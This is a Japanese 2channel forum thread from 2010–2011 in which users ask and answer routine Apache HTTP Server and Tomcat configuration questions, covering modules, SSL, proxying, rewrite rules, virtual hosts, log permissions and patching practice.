Apache統合スレ 11 (HTTPServer以外も含む)

このエントリーをはてなブックマークに追加
1DNS未登録さん
HTTP ServerだけでなくAntやTomcatなど以下のようなApache全般に関するスレだ!

Apache Software Foundation
http://www.apache.org/

HTTP Serverの最新Versionは
Apache/2.3.8-alpha
Apache/2.2.16
Apache/2.0.63
Apache/1.3.42
だ。

前スレ
Apache統合スレ 10 (HTTPServer以外も含む)
http://hibari.2ch.net/test/read.cgi/mysv/1245157265/1-
Apache統合スレ 9 (HTTPServer以外も含む)
http://pc11.2ch.net/test/read.cgi/mysv/1219482693/
Apache統合スレ 8 (HTTPServer以外も含む)
http://pc11.2ch.net/test/read.cgi/mysv/1136360465/
Apache統合スレ 7【HTTPServer以外も含む】
http://pc8.2ch.net/test/read.cgi/mysv/1088866818/
Apache総合スレ 6
http://pc5.2ch.net/test/read.cgi/mysv/1084335973/
Apache総合スレ 5
http://pc5.2ch.net/test/read.cgi/mysv/1078763847/
Apache総合スレ 4
http://pc2.2ch.net/test/read.cgi/mysv/1069514378/
Apache総合スレ 3
http://pc2.2ch.net/test/read.cgi/mysv/1061501283/
【サーバ】Apache総合スレ 2 【バーサ】
http://pc2.2ch.net/test/read.cgi/mysv/1054463728/
【サーバ】Apache総合スレ【ウララー】
http://pc2.2ch.net/test/read.cgi/mysv/1044091546/
2DNS未登録さん:2010/10/04(月) 09:09:13 ID:???
オライリーのApacheハンドブック買って読んだけど難しい・・・
特に20章からは訳分からん・・・
内容は流石に古臭いけれど
皆この位は全て理解してるの?
まぁセキュリティの問題があるから理解してるんだろうけれど
3DNS未登録さん:2010/10/06(水) 18:01:56 ID:???
前スレがdat落ちとか
>>1
4DNS未登録さん:2010/10/18(月) 20:49:38 ID:uSKCk8gc
apacheのconfの設定ができないです。
ネット上にあるのは、前のバージョンを対象としたもので、
新しいのには使用できませんでした。
5DNS未登録さん:2010/10/18(月) 20:52:03 ID:???
>>4
二行目からがイミフ。
confディレクトリにhttpd.confがあるだろ?
6DNS未登録さん:2010/10/18(月) 21:47:29 ID:???
confの中に、httpdというのしかありません。
もしかして違うのダウンロードしたのかな?
7DNS未登録さん:2010/10/18(月) 22:42:51 ID:???
ttp://2php.jp/php/install_php_windows.htmlを参考にして
行ったのですが、httpd.confというのが見当たりません。
8DNS未登録さん:2010/10/18(月) 23:38:00 ID:???
windowsなのか。
だったらzipかmsiをDLしないといけない。Unix系用落としてきたんじゃね?
9DNS未登録さん:2010/10/19(火) 02:08:04 ID:???
拡張子表示すらしてないお子ちゃまなんじゃないの?
10DNS未登録さん:2010/10/19(火) 02:29:48 ID:???
そんな人がApache使おうか・・・?
ディレクティブでのシンボリックリンクから説明しなきゃいけない次元だぞ・・・w
11DNS未登録さん:2010/10/20(水) 05:14:50 ID:???
しかし6の1行目を見る限りでは拡張子非表示にしか思えない
12DNS未登録さん:2010/10/28(木) 18:02:20 ID:EcOztGIo
CentOS5系&apache1.3系&PHP4系を使ってます
Basic認証でメールアドレスをユーザー名に使用する事は可能ですか?
ハイフンとかピリオドとかアットマークはエスケープすればいいんでしょうか?
13DNS未登録さん:2010/10/28(木) 19:38:30 ID:???
see RFC2617
14DNS未登録さん:2010/10/29(金) 12:28:37 ID:???
>>13
つまり出来るということですか?
15DNS未登録さん:2010/10/30(土) 04:30:17 ID:???
なんでエスケープする必要がある?
16DNS未登録さん:2010/10/30(土) 20:11:30 ID:???
win鯖でapache2.2使ってるんだけど
mod_bwいれるとエラー吐いて起動しないんだか

LoadModule bw_module modules/mod_bw.dll
<Directory "C:/WWW">
BandwidthModule On
ForceBandWidthModule On
BandWidth ALL 10240
MaxConnection all 3
</Directory>

なんか原因わかりますか?
17DNS未登録さん:2010/10/31(日) 01:54:55 ID:???
ちゃんと Apache2.2\modules\ にdll置いてる?
あとはhttpd.confじゃない所に書いてるとか
18DNS未登録さん:2010/10/31(日) 02:02:50 ID:???
はい
modules/mod_bw.dll

confの
<FilesMatch "^\.ht">
Order allow,deny
Deny from all
Satisfy All
</FilesMatch>
の下あたりに書いてます
19DNS未登録さん:2010/10/31(日) 06:32:36 ID:???
エラー内容書こうぜ
20DNS未登録さん:2010/10/31(日) 10:25:35 ID:???
>>16
そのエラーには何も書いてないのかい?
っていうか、configtestぐらいしない?
ちょっとした修正ならともかく。
21DNS未登録さん:2010/10/31(日) 10:26:18 ID:???
WindowsでApache使う人はコマンドラインの使い方知らないから
22DNS未登録さん:2010/10/31(日) 11:45:51 ID:???
大学で
コマンドラインでディレクトリの内容出すにはlsコマンドだぜ!
って息巻いてる人を見て、それ実感したわ・・・winだとdirだろと・・・
23DNS未登録さん:2010/10/31(日) 14:07:26 ID:???
[Sun Oct 31 13:58:47 2010] [notice] Parent: Received restart signal -- Restarting the server.
[Sun Oct 31 13:58:47 2010] [notice] Child 47088: Exit event signaled. Child process is ending.
httpd.exe: Syntax error on line 33 of C:/apache/conf/httpd.conf: Cannot load C:/apache/modules/mod_bw.dll into server: \x82\xb1\x82\xcc\x83A\x83v\x83\x8a\x83P\x81書き込めないので略
[Sun Oct 31 13:58:47 2010] [warn] (OS 995)スレッドの終了またはアプリケーションの要求によって、I/O 処理は中止されました。 : winnt_accept: Asynchronous AcceptEx failed.
[Sun Oct 31 13:58:48 2010] [notice] Child 47088: Released the start mutex
[Sun Oct 31 13:58:49 2010] [notice] Child 47088: All worker threads have exited.
[Sun Oct 31 13:58:49 2010] [notice] Child 47088: Child process is exiting
[Sun Oct 31 13:59:09 2010] [warn] pid file C:/apache/logs/httpd.pid overwritten -- Unclean shutdown of previous Apache run?
[Sun Oct 31 13:59:09 2010] [notice] Apache/2.2.14 (Win32) configured -- resuming normal operations
[Sun Oct 31 13:59:10 2010] [notice] Parent: Created child process 54748
[Sun Oct 31 13:59:10 2010] [notice] Child 54748: Child process is running
[Sun Oct 31 13:59:10 2010] [notice] Child 54748: Acquired the start mutex.
[Sun Oct 31 13:59:10 2010] [notice] Child 54748: Starting 64 worker threads.
[Sun Oct 31 13:59:10 2010] [notice] Child 54748: Starting thread to listen on port 80.

これ見るとLoadModuleの行でエラーになってるみたいです
mod_bw.dllはちゃんといれてるんですがなんでしょうか
24DNS未登録さん:2010/10/31(日) 14:10:50 ID:???
ちゃんと入れてるつもりでちゃんと入ってないというエラーにしか見えません。
25DNS未登録さん:2010/10/31(日) 14:19:40 ID:???
同じディレクトリの他のモジュールはモンふ大なく読み込めています

他のモジュールがみんな.soなんですけど.dllは使えないみたいなのってありますか?
26DNS未登録さん:2010/10/31(日) 15:17:55 ID:???
\x82\xb1\x82\xcc\x83A\x83v\x83\x8a\x83P

このアプリケ
27DNS未登録さん:2010/10/31(日) 15:25:39 ID:???
一番大事なところが省略されているという見本か
28DNS未登録さん:2010/10/31(日) 15:47:18 ID:???
でも、エラーログがこういう形でエンコードされてる理由ってなんだっけ?
俺ならこれがSHIFT_JISだってすぐわかるけどさ
29DNS未登録さん:2010/10/31(日) 16:21:31 ID:???
デコードした文字列

82アのアプリケーションの構\成が正しくないため、アプリケーションを開始できませんでした。アプリケーションを再度インストールすることにより問題が解決する場合があります。
再インストールしろってこどですかね
30DNS未登録さん:2010/11/02(火) 04:25:20 ID:B3HLJcUD
初歩的な事を質問してすいません
ドキュメントルート直下にディレクトリを作って、そこにwordpressをインストールしました
httpd.confの設定でドキュメントルート以下はアクセス許可にしたんですが
wordpressをインストールしたディレクトリにアクセスすると403エラーになってしまいます

どこを直せば解決するでしょうか?
31DNS未登録さん:2010/11/02(火) 07:52:24 ID:???
エラーログを見ろ
32DNS未登録さん:2010/11/03(水) 00:29:45 ID:???
>>29
ランタイム系のdllが足りてないんだろうなあ
33DNS未登録さん:2010/11/03(水) 02:31:58 ID:???
>>32
詳しくお長いします
34DNS未登録さん:2010/11/03(水) 02:48:43 ID:???
dll見るならDependency Walkerとか?ゲイツ系あまり詳しくないが。
35DNS未登録さん:2010/11/03(水) 02:52:27 ID:???
>>33
とりあえず、VCのランタイム辺りをインストしてみるとか。
36DNS未登録さん:2010/11/03(水) 03:06:55 ID:???
ありがとうございます
試してみます
37DNS未登録さん:2010/11/04(木) 13:15:46 ID:XzvTBqWg
質問ですので、申し訳ないですがageさせてもらいます。
どなかた知恵をお貸しください。

RHEL2.4.21-4でapacheの2.0.64をSSL付でインストールした状態で
configtestを実行すると、「SSLCryptoDevice」が誤字またはモジュール内に存在しないエラーが発生します。

Invalid command 'SSLCryptoDevice', perhaps mis-spelled or defined by a module not included in the server configuration

mod_sslはOSに組み込まれているるmod_ssl-2.0.46-25.entを利用しているようです。
一応正常に動いている別サーバの2.0.46-46からmod_ssl.soを取ってきてmodulesに配置、SSLなしで再インストールしても
別のエラーが発生してしまいます。
このエラーを解決するための何らかの手順をご存じないでしょうか。
38DNS未登録さん:2010/11/04(木) 13:54:57 ID:???
39DNS未登録さん:2010/11/05(金) 19:14:02 ID:???
>>38

いまいち理解し切れなかったためアクセラレータの設定をオフにすることで解決させました。
お手数おかけしました。
40ProxyPassReverseCookieDomainさん:2010/11/06(土) 17:06:53 ID:Lt34qs8R
質問させていただきます。申し訳ないですがageさせてもらいます。
Apache2.2.17とtomcat6.0.18をmod_proxy_ajpで連携しています。
ブラウザのcookie無効の場合、
セッションがリクエスト毎に新規作成(JSESSIONIDが毎回新規作成される)され、
一意のJSESSIONIDでセッション管理できません。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ブラウザのcookie有効の場合はProxyPassReverseCookiePathの設定により、一意のJSESSIONIDでセッション管理ができています。
ProxyPassReverseCookieDomainが怪しいとは思っていますが、下記のVirtualHost設定で試してみたところダメでした。
どなたかご教示お願いいたします。

<VirtualHost *:80>
ServerName session_test.jp
DocumentRoot /usr/local/apache2.2/htdocs/test
ErrorLog logs/test.jp-error_log
CustomLog logs/test.jp-access_log combined env=!no_log
SetEnvIf Request_URI "\.(gif|jpg|png|JPG|ico|css|js|swf|txt)$" no_log

<Location />
Order Allow,Deny
Allow from all
</Location>

<Proxy balancer://ajp-balancer>
BalancerMember ajp://localhost:8009 loadfactor=100 keepalive=On
</Proxy>

ProxyPass / balancer://ajp-balancer/session_test/
ProxyPassReverse / http://localhost:8009/session_test/
ProxyPassReverseCookieDomain localhost:8009 session_test.jp
ProxyPassReverseCookiePath /session_test /
</VirtualHost>
41DNS未登録さん:2010/11/06(土) 18:51:10 ID:???
ubuntuでapache2.xを使おうと思うんですがwebminを使うとhttpd.confがwebmin仕様に書き換えられると聞いたんだけど本当ですか?
42DNS未登録さん:2010/11/06(土) 19:55:02 ID:???
>>41
そんな話聴いたこと無いが・・・
webminの[サーバー]からapacheいじるとそうなるのかもしれんが、未経験だからわからん
43DNS未登録さん:2010/11/06(土) 20:00:57 ID:???
>>40
クッキー食わないんだろ
44DNS未登録さん:2010/11/06(土) 20:06:01 ID:???
>>40
再現できる環境がないからアレだけど、クッキーがないから同一クライアントとサーバー側が判断できないんじゃね?
45DNS未登録さん:2010/11/06(土) 20:17:56 ID:???
>>40
Proxyの設定は恐らく関係ない。

tomcatはsessionID付のURLを返しているか?
また、tomcatはsessionID付のURLを受け取っているか?
そしてURLに付いてきたsessionIDを処理できるフレームワークか?
46ProxyPassReverseCookieDomainさん:2010/11/06(土) 23:56:23 ID:???
>>45
そうですねProxy設定の問題ではなさそうですね。

フレームワークはSAStrutsを使っているんですが、どうもこれのS2LinkTag.javaが原因っぽいです。
#S2LinkTag.javaはjspでのlinkタグです。linkタグのhrefにjsessionIdを付与しているクラスでもあります。
なぜなら普通のtomcatプロジェクト作ってクッキー有り/無し両方で、
極めて単純なセッション確認コードが期待通り動いているので。

ちょっとここまでしか現状分かっていませんが、上記が怪しいと思っています。
47DNS未登録さん:2010/11/07(日) 00:05:37 ID:LmzCkBpD
Apacheが吐くログファイルの権限を変更することは可能でしょうか?

アクセス解析にUrchinというソフトを使っておりまして、
このソフトがリモートからApacheのログファイルにアクセスするのですが、
権限が無くて読めないようなのです。
今は手動で、
chmod 777 access.log
のようにしておりますが、apacheのログが結構な頻度でローテートされるので
手動で対処するのが大変です。
48DNS未登録さん:2010/11/07(日) 00:11:30 ID:???
>>47
容易に思いつくのが
・Apache実行ユーザを変える、グループを変える、ファイル作成マスクを変更する
・cronでしつこくchmodを実行する
49DNS未登録さん:2010/11/07(日) 00:13:28 ID:???
logrotate create
50DNS未登録さん:2010/11/07(日) 00:15:56 ID:???
そーいやローテートはlogrotateがやってたんだナァ
51DNS未登録さん:2010/11/07(日) 00:16:47 ID:???
urchin をいじってたのはだいぶ前なんでもう忘れたけど、
ログソースの設定で取得方法をいくつか選べたはず。
そのへんいじれば apache 側をいじらんでもなんとかならんか?
どうしてもダメなら、apache をどうやって起動してるんだか知らんけど
起動スクリプトの先頭付近に umask 022 と書いておくか。

それはそうと、

>chmod 777 access.log

バカのひとつ覚えみたいに 777 にするのはやめろバカ。644 で十分だろう。
52DNS未登録さん:2010/11/07(日) 07:17:58 ID:???
logrotateのスクリプトにchmod埋め込めばいいだけのような・・
53DNS未登録さん:2010/11/08(月) 17:53:43 ID:???
apacheで、どのURLの動作の負荷が高いか知る方法ってないかな
topコマンドのCPU利用率みたいな感じで
54DNS未登録さん:2010/11/09(火) 06:11:35 ID:???
ログの応答時間が参考にならないかな。CPU負荷とは違うけど。
55DNS未登録さん:2010/11/09(火) 07:26:37 ID:???
>>53
cgiとかじゃなく?
返すコンテンツによって変化があるとはあまり思えないが。


>>54
それだと相手の回線が貧弱でかつサイズが大きい物が上になるね。
セッションを長時間占有されるという意味ではリソースを使われてはいるが、
負荷というには違和感あるかと。
56DNS未登録さん:2010/11/09(火) 10:29:17 ID:???
>>55
CGIの負荷です。
まずい記述があるCGIを知りたい
57DNS未登録さん:2010/11/12(金) 23:18:11 ID:???
全然答えになってないけど
結果をキャッシュさえすればウンコなソースもどうにでもなっちゃうからねぇ
58DNS未登録さん:2010/11/20(土) 17:43:06 ID:???
mod_pagespeedどうよ
なんか早くなった早くなったばかりだから
来週入れてみるつもりなんだけど
59DNS未登録さん:2010/11/30(火) 22:29:54 ID:???
報告よろしく、メカ犬
60DNS未登録さん:2010/12/01(水) 17:42:24 ID:???
ディレクトリの権限に関して質問です。

httpd.confにて、manualの設定がありますが、
<Directory "/usr/apache2/manual">
・・・

このmanualディレクトリの設定が、
・権限を[drwx------]に変更(所有者のみアクセス可)
・所有者は、httpd.confに設定されたUserにもGroupでもない
となっているのに、manual以下にアクセスできてしまいます。

一方、例えばDocumentRootのhtdocs配下に適当なフォルダを作り、
同じような権限設定をした場合は、
ご存知の通り、このフォルダに対しアクセスはできません。

てっきり、httpd.confに書かれたUser/Groupの権限でしか、
ディレクトリにアクセスできないものだと思っていたのですが、
Directoryディレクティブで設定したルートディレクトリについては
例外なんでしょうか?

ちなみにApache/2.0.52。SPARCのsolaris版です。
61DNS未登録さん:2010/12/02(木) 00:25:49 ID:???
基本的な質問で申し訳ないのですが、
以下3つのサイトを
別々のサーバーにすることはできますか?
http://www.aaa.com/
http://www.aaa.com/japan/
http://www.aaa.com/china/

バーチャルドメインなるものを使用するのでしょうか?
62DNS未登録さん:2010/12/02(木) 01:06:43 ID:???
別々の鯖にするとは?
63DNS未登録さん:2010/12/02(木) 08:12:42 ID:4VozpWjF
Apache2.2なんだけど、conf/extra/httpd-mpm.confが見つからない。
どこにあるんだろ…インストールに失敗してる?
6461:2010/12/02(木) 08:14:47 ID:???
>>62
AサーバーにはApacheが入っていて、
B,CサーバーはApacheもしくは、別のWebサーバーが入っています。

http://www.aaa.com/をAサーバーで運用し
http://www.aaa.com/japan/にアクセスされた場合は、AサーバーからBサーバーに転送。
Bサーバーで処理する
http://www.aaa.com/china/にアクセスされた場合は、AサーバーからCサーバーに転送。
Cサーバーで処理する

という風にしたいと思っています。分かりにくくてすみません。
65DNS未登録さん:2010/12/02(木) 08:17:55 ID:???
rewrite_mod
6661:2010/12/02(木) 11:11:27 ID:???
>>65
ありがとうございます。
試してみます。
6761:2010/12/02(木) 11:54:41 ID:???
たびたび申し訳ありません。
rewriteはできたのですが、
http://www.aaa.com/japan/は
http://www.bbb.com/japan/となってしまいます
こちらを修正するためには、Bサーバーの設定も変更が必要でしょうか。
6861:2010/12/02(木) 13:53:00 ID:???
何度も申し訳ないです。
質問をちょっと変えますと、
一つのドメインを複数のサーバーで運用することは可能でしょうか?
以下のように3台のサーバー構成にしたいと思っています。

http://www.aaa.com/をAサーバーで運用(/japan/にアクセスされたら、Bにrewrite_mod、/china/ならCに)
http://www.aaa.com/japan/がBサーバー
http://www.aaa.com/china/がCサーバー
6961:2010/12/02(木) 14:16:56 ID:???
自己解決です。

mod_proxyなるモジュールで別サーバー側で処理したデータを返すことが可能
ということが分かりました。

お騒がせして申し訳ありませんでした。
70DNS未登録さん:2010/12/04(土) 02:51:33 ID:???
apache 2.2.15

さっぱりわからん
ttp://loda.jp/extreme/?id=45

これは、何なんだろ

画像ファイルにも入り込む。。。
7170:2010/12/04(土) 02:54:03 ID:???
72DNS未登録さん:2010/12/04(土) 09:07:21 ID:???
>>70
Firebugのバグ
73DNS未登録さん:2010/12/05(日) 12:19:49 ID:???
>>71
http://hibari.2ch.net/test/read.cgi/mysv/1284973998/1

ここの外部サイトでheaderみてみ
74DNS未登録さん:2010/12/05(日) 22:06:59 ID:???
>>73
http://loda.jp/extreme/?id=47.jpg

なんでなんだろ。。。
75DNS未登録さん:2010/12/07(火) 17:44:05 ID:???
>>74
その画面でなぞの文字列部分のソースはどうなっている?
76DNS未登録さん:2010/12/07(火) 20:20:34 ID:???
>>75

div.section hr {
border-style: solid;
border-width: 1px 0px 0px 0px;
border-color: #000;
margin-left: 4em;
width: 70%;
}

ちなみに、一定バイト以上になるとこの謎のバイナリが入る。
一定バイト以下だと入らない。

バイト数は、ちまちまファイルサイズ変えて特定しようとしています。
77DNS未登録さん:2010/12/12(日) 21:57:21 ID:???
1kbを越えると、つまり1023バイトまでは、普通に表示され
1024バイト目が入ると先頭に変なバイナリ入る。。。

apache再インスコすれば治るんだろうけどなんだろ
78DNS未登録さん:2010/12/19(日) 11:47:47 ID:???
教えて下さい。

MS10-090 導入後の文字化け問題で困っているのですが、
http://blogs.msdn.com/b/ie_jp/archive/2010/12/17/ms10-090.aspx

apache 1.3 系 + Windows Server で
> HTTP ヘッダーに以下のように記述をお願いいたします。
> Content-Type: text/html;charset=iso-2022-jp
を行うにはどのように、httpd.conf に記載すればよろしいでしょうか。
79DNS未登録さん:2010/12/19(日) 13:20:56 ID:???
>>78
<meta http-equiv="Content-Type" content="text/html; charset=iso-2022-jp " />
痔宍痔示痔?ヲ示痔宍痔縞痔失痔讎赦治自
8078:2010/12/19(日) 16:11:48 ID:???
>>79

文字化けして見えないのですが、
CGI が吐き出す html 構文には、そのような meta タグは含まれています。

> [現象]
> MS10-090 導入後、HTTP ヘッダーではなく、META タグのみで文字エンコードを
> “ISO-2022-JP” に指定している特定の Web サイトを閲覧すると、文字化けが発生します。

のとおり、wireshark で見ると、meta タグにはエンコード指定はあるが、
HTTPヘッダーにはエンコード指定が無い状況で、現象が出ております。
81DNS未登録さん:2010/12/19(日) 23:10:11 ID:???
print "Content-type: text/html; charset=iso-2022-jp\n\n";
cgiならこれでいいんじゃ
8278:2010/12/20(月) 20:01:10 ID:???
>>81
コメントありがとうございます。
業務アプリで、CGI の部分は、.exe で提供されており
内容をこちらで変更することはできないのですが、
改修していただいたところ、画面上の文字化けは直りました。
しかし、印刷およびプレビューではまだ文字化けの症状がでており、
まだ、困っています。
83DNS未登録さん:2010/12/29(水) 13:48:31 ID:???
今こそAddDefaultCharset iso-2022-jpの出番じゃね?w
84DNS未登録さん:2011/01/04(火) 13:35:12 ID:???
Apacheの管理って一般的にyumやapt使いますか?
また、バージョンアップはこまめに行いますか?

サーバーが落ちててapacheのバージョンが表示されてたりするところがありますが
そういったところのバージョンを見ると、結構古いの使ってたりするみたいなんで
ちょっと気になりました。
サービスが落ちるほど放置してるところがバージョンアップなんかしてるわけないだろと言われたらそれまでなんですが
一般的な会社はどうしてるのかなと思いまして。
85DNS未登録さん:2011/01/04(火) 13:57:02 ID:???
自宅サーバなのか一般的?な会社のサーバなのか
86DNS未登録さん:2011/01/04(火) 14:07:28 ID:???
一般的な会社のサーバがどうなってるのか気になります。

あまりないとは思いますが、バージョンアップしたことによって
Webサービスの動作が微妙に変わってしまったりとかないのかなと。

まず動作が変わるということはないということであれば
パッケージ管理ツールを使って頻繁にバージョンアップしていったほうが
セキュリティ上良さそうなので、普通は管理ツールを使ってるのかなと思ったり。
87DNS未登録さん:2011/01/04(火) 18:39:55 ID:???
安定してるならセキュリティパッチ以外は適用しないなあ
つーか、よっぽどの事が無い限りパッケージマネージャは使うだろ
88DNS未登録さん:2011/01/04(火) 20:09:21 ID:???
サーバーが落ちてたらバージョンも表示されないだろーとかいう突っ込みはおいといて、、、

多分大企業側に入る会社の例になるが、バージョンを上げるという事は、
逆に新しい不具合を孕んでいる可能性もある。
いついつのバージョンから○○という不具合が…とか普通にある話でしょ?
それからセキュリティ対策といっても無意味なアップデートはしない。
つまりは使いもしない機能のセキュリティ対策によるアップデートなんて行わない。
ちゃんとchangelogは読んで、どういう変更が入っているかを確認する事が大事。

アップデートの仕方も、必ずメーカーのサポートを受けられる形でしか行わない。
マイナーバージョン一つ上げるだけでも、性能への影響の為に負荷試験等を、
本番同等の環境にて行わないといけないから、それだけでも手間隙なのです。
実際に本番環境に適用する際も、複数台あるサーバーを一気にバージョンアップせず、
先行して数台だけ適用して一ヶ月程無影響確認を行った後、問題が無ければ残りも適用と、
時間もかかったり。
まぁ、そんなに長い目で見ていられないセキュリティホールがあったら話しは別ですが。
89DNS未登録さん:2011/01/04(火) 20:34:34 ID:???
apache にかぎらず、関係ない穴だったら放置して当然。
悪用されないことが確実な穴ならば、それは穴ではない。

changelog とか releasenote に書いてない修正をこっそり含めるものも
たまにあったりするので油断はできないけど、そういうものでも
緊急性の高いセキュリティフィックスが明記されないことはさすがにありえない。
90DNS未登録さん:2011/01/04(火) 20:37:28 ID:???
パンツの穴


すみません、変なこと言って。
91DNS未登録さん:2011/01/04(火) 20:44:18 ID:???
うちでは仮想化&バックアップサーバがあるから大抵のセキュリティパッチは当てちゃうなあ。
問題がおきればロールバックもできるし、動作不良を起こすなら最終的にはサービスも対応しなきゃならんわけだし。
パッチ未適応の理由が監査で納得してもらえる理由だったなら先延ばしにするけどねえ。
92DNS未登録さん:2011/01/04(火) 22:12:03 ID:???
そもそも会社鯖は板違い。
93DNS未登録さん:2011/01/06(木) 07:41:10 ID:???
会社が自宅であるやつは例外な。
94DNS未登録さん:2011/01/09(日) 13:01:58 ID:???
自宅が会社・・・じゃないのか。
95DNS未登録さん:2011/01/10(月) 00:14:59 ID:???
>>94
会社に住み込みって意味じゃね?
96DNS未登録さん:2011/01/28(金) 04:02:36 ID:iSsy1jhy
たまに住んじゃってる人いるよねw
97DNS未登録さん:2011/02/01(火) 08:26:04 ID:FKIlKPJ/
すみません。質問させてください。
RewriteEngineでディレクトリを変数にするにはどうしたらいいですか?
例えば http://example.com/aaa/test.cgi?name=hoge
この場合id=aaa name=hogeと表示したいです。よろしくお願いします。
98DNS未登録さん:2011/02/02(水) 21:01:03 ID:???
>>97
全く確認してないけど、以下の方法でいいってこと?
RewriteRule ^/([a-z]+)/test.cgi /cgi-bin/test.cgi?id=$1
99DNS未登録さん:2011/02/03(木) 02:45:33 ID:mwUOiiux
質問です。
自宅のPCにapacheをインストールして、これまでサーバーとして公開して誰にでも利用できていたのですが、
1台増設し、その増設したPC(スペックが弱い)にHDDをまるごと移してapacheを起動してみたところ、
外部から接続することができなくなってしまいました。
ローカル自身からは見ることができているのですが。
どうすれば従来どおり公開できている状態になるでしょうか?
100DNS未登録さん:2011/02/03(木) 02:49:31 ID:???
質問した矢先ですみません、解決しました
(宛先IP198.162.0.xのところが変わったので追って変更)
101DNS未登録さん:2011/02/03(木) 20:10:43 ID:qltsPURY
質問すいません><
SSL connection error(Chrome)と出てphpMyAdminにログインできません…
http://q.hatena.ne.jp/1260757657 ←こちらと同じ現象です(ただ私はVPSなのでconfが触れます)。
ログインできなくなる前にしたことはVirtualHostでbbb.comを設定したことです。

********************************
Ver : Apache/2.2.3
Path : /var/www/html/phpMyAdmin
********************************

<VirtualHost 111.111.111.111:80>
 ServerName aaa.com
 DocumentRoot /var/www/html/
</VirtualHost>
<VirtualHost 111.111.111.111:80>
 ServerName bbb.com
 DocumentRoot /var/www/html/bbb
</VirtualHost>

phpMyAdminには
http://aaa.com/phpMyAdmin/
http://bbb.com/phpMyAdmin/
どちらのアドレスでも接続出来てしまうのが問題なのでしょうか?
どなたかアドバイスお願いします!
102DNS未登録さん:2011/02/03(木) 22:50:43 ID:???
>>101
ssl.confの設定は?
103DNS未登録さん:2011/02/04(金) 01:36:39 ID:zHVVpKsD
>>102
初期設定のままです。
証明書の購入利用はしてません。
後半の部分をコピペしてみます!

<Files ~ "\.(cgi|shtml|phtml|php3?)$">
SSLOptions +StdEnvVars
</Files>
<Directory "/var/www/cgi-bin">
SSLOptions +StdEnvVars
</Directory>
SetEnvIf User-Agent ".*MSIE.*" \
nokeepalive ssl-unclean-shutdown \
downgrade-1.0 force-response-1.0
104DNS未登録さん:2011/02/04(金) 02:27:57 ID:???
自分で貼ったリンクのリンク先はちゃんと読んでいますか?
105DNS未登録さん:2011/02/04(金) 08:26:47 ID:???
>>104
死ね
106DNS未登録さん:2011/02/04(金) 15:21:48 ID:???
>>101
情報が少ないなぁ。
aaaからもbbbからもそのパスでアクセス出来るってことは、
VirtualHostの定義外にphpMyAdminへのパスが切ってあると思うが、そっちは?
あと、phpMyAdminのconfは?
phpMyAdmin側でssl接続させる奴なかったっけ?
107DNS未登録さん:2011/02/04(金) 16:51:46 ID:sv4EXk3S
apacheの仮想ホストのことで質問させて下さい。

テスト環境構築のため、仮想ホストの設定でhttpd.confに2つのサイトの
設定をし、次にhostsファイルに取得したドメインでアクセスできるよう
127.0.0.1 example.com
127.0.0.1 example.net
と追加しました。
実際のサイト(レンタルサーバー)にブラウザでアクセスするときには
hostsファイルの上記の所を#にしていますが、度々#を付ける以外に他の
効率の良い方法はありますでしょうか?
108DNS未登録さん:2011/02/04(金) 17:18:04 ID:???
ホスト名を気にしなくていいなら
httpd.conf
    ServerAlias test.example.com
hosts
    127.0.0.1   test.example.com
109107:2011/02/04(金) 17:35:30 ID:sv4EXk3S
>>108
運用したいドメイン名のままローカルでサイト構築をしたら、リンクとかを
絶対パスで記述してもリンクが有効か試したり、そのままアップロードも
できますよね?
もし108さんの教えてくれたようにすると構築中のサイトにもtestという
ホスト名が付いてしまうんですよね?そのへんがよくわからなくて困ってます・・・
110DNS未登録さん:2011/02/04(金) 19:13:03 ID:???
やりたいことがイマイチわからん。
二つのホストは同じコンテンツを見せるけど、ホスト名から始まるURLのリンクで、
同一ホストを指していない事を確認したいとかそんなとこか?
111DNS未登録さん:2011/02/04(金) 20:58:51 ID:???
Linuxのほうで聞くべきかもしれませんが、httpd.confを編集しても、書き込みアクセス権限がないと出て上書きできないのですが、どうすればいいのでしょうか?

Osはmint9です。

一応、cui上でスーパーユーザーでログインしてからやってるのですが、、、
112107:2011/02/04(金) 21:41:35 ID:sv4EXk3S
>>110
わかりにくくてすみません
うまく説明できるようもう少し自分でやってみようと思います
回答ありがとうございます
113DNS未登録さん:2011/02/04(金) 22:16:19 ID:???
>>111
激しくスレ違いだけど、SELinuxを疑う。
114DNS未登録さん:2011/02/04(金) 22:27:35 ID:???
>>113
Selinuxをググってみて、getenforceというコマンドをいれてみましたが、disableでした。

すれ違いすみません。
115DNS未登録さん:2011/02/06(日) 15:44:06 ID:???
書き込みできないというのは、httpd.confそのものが上書きできないということ?
もしそうなら、その程度で悩む間は書き換えない方がいいと思う。
116DNS未登録さん:2011/02/08(火) 14:56:26 ID:???
ふと思ったんだけど仕様的にHTTP_headerに全角入れていいのかね。
全角入れても今のところ何の支障もないのだけれど、どうなんだろ?
117DNS未登録さん:2011/02/08(火) 16:09:55 ID:???
>>116
ブラウザ次第じゃない?
まともに解釈できるとは思わないが。
118DNS未登録さん:2011/02/09(水) 01:25:33 ID:???
>>116
RFCに何も書いてなければ基本的には想定外
文化的にマルチバイトはありえないと思うけどな
119DNS未登録さん:2011/02/09(水) 01:33:15 ID:???
自宅鯖板の話題じゃないが・・・別にRFC的にNGにはなってなかった(と思う)し、いいんじゃないか

いい/悪いと現行ブラウザが意図通り解釈してくれるかは別問題だがな!
120DNS未登録さん:2011/02/09(水) 11:04:13 ID:???
ちゃんと明示的に書いてあるから RFC 読め。
121DNS未登録さん:2011/02/10(木) 23:18:00 ID:???
.htaccessのRewriteRuleについて質問させてください

パラメータが複数ある場合、片方だけを静的アドレスに変換することは可能でしょうか?
http://○○○○.com/index.php?var1=aaa&var2=bbb

http://○○○○.com/aaa.html?var2=bbb
という形にしたいと思っています。

RewriteRule ^(.+)\.html\?var2=(.+)$ index.php?var1=$1&var2=$2 [L]
として試してみたのですがうまく行きませんでした。

ご指摘等お願いいたします。
122DNS未登録さん:2011/02/11(金) 12:10:11 ID:???
>>121
まず、RewriteRuleの書き方は、RewriteRule (置換前) (置換後)だから、順番逆じゃね?
Rewriteはあくまでホスト以降のパスだから開始は
RewriteRule ^/〜でいい。
後はRewriteLog出力して、どんな風にRewriteされているのか見ればよいと思う。

RewriteRule ~/index\.php\?var1=([^&]+)&var2=(.+)$ /($1).html?var2=$2 [L]
とか?
試してないので間違っているかも。
123121:2011/02/11(金) 13:56:11 ID:???
書き方が悪いかもしれないので再度確認ということで

http://○○○○.com/aaa.html?var2=bbb
がロケーションバーに入力された状態でアクセスされたものを
http://○○○○.com/index.php?var1=aaa&var2=bbb
